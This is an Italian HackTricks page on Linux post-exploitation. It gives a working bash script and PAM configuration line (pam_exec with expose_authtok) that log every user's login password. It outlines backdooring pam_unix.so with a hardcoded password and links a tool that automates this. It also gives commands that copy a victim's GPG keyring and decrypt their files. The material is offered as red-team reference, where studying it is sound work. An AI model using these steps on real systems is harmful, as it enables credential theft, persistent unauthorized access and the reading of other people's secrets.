Linux Post-Exploitation

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Sniffing Logon Passwords with PAM

Configuriamo un modulo PAM per registrare ogni password che gli utenti usano per il login. Se non sai cos'è PAM controlla:

PAM - Pluggable Authentication Modules

Per maggiori dettagli consulta il post originale. Questa è solo una sintesi:

Technique Overview: Pluggable Authentication Modules (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di login, ma rappresentano anche un rischio se usati in modo improprio. Questa sintesi descrive una tecnica per catturare credenziali di accesso usando PAM, insieme a strategie di mitigazione.

Capturing Credentials:

  • Uno script bash chiamato toomanysecrets.sh viene creato per registrare i tentativi di login, catturando la data, l'username ($PAM_USER), la password (via stdin) e l'IP dell'host remoto ($PAM_RHOST) in /var/log/toomanysecrets.log.
  • Lo script viene reso eseguibile e integrato nella configurazione PAM (common-auth) usando il modulo pam_exec.so con opzioni per eseguire in modo silenzioso e per esporre il token di autenticazione allo script.
  • L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Per ulteriori dettagli controlla il original post. Questa è solo una sintesi:

Il Pluggable Authentication Module (PAM) è un sistema usato su Linux per l'autenticazione degli utenti. Opera su tre concetti principali: username, password, e service. I file di configurazione per ogni service si trovano nella directory /etc/pam.d/, dove le librerie condivise gestiscono l'autenticazione.

Obiettivo: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa pam_unix.so usata dal file common-auth, che è inclusa da quasi tutti i servizi per la verifica della password.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • La riga responsabile della verifica della password dell'utente chiama pam_unix.so.
  1. Modify Source Code:
  • Aggiungi un'istruzione condizionale nel file sorgente pam_unix_auth.c che conceda l'accesso se viene usata una password predefinita; altrimenti procede con il normale processo di autenticazione.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • L'accesso viene concesso su vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione restano inalterati.

tip

Puoi automatizzare questo processo con https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

Se trovi un file criptato .gpg e la cartella ~/.gnupg di un utente (pubring, private-keys, trustdb) ma non puoi decrittare a causa dei permessi/lock dell'homedir di GnuPG, copia il keyring in una posizione scrivibile e usalo come tuo GPG home.

Gli errori tipici che vedrai senza questa soluzione: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (perché GPG non può leggere/scrivere l'homedir originale).

Workflow:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Se il materiale della chiave segreta è presente in private-keys-v1.d, GPG sbloccherà e decifrerà senza richiedere una passphrase (o la richiederà se la chiave è protetta).

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks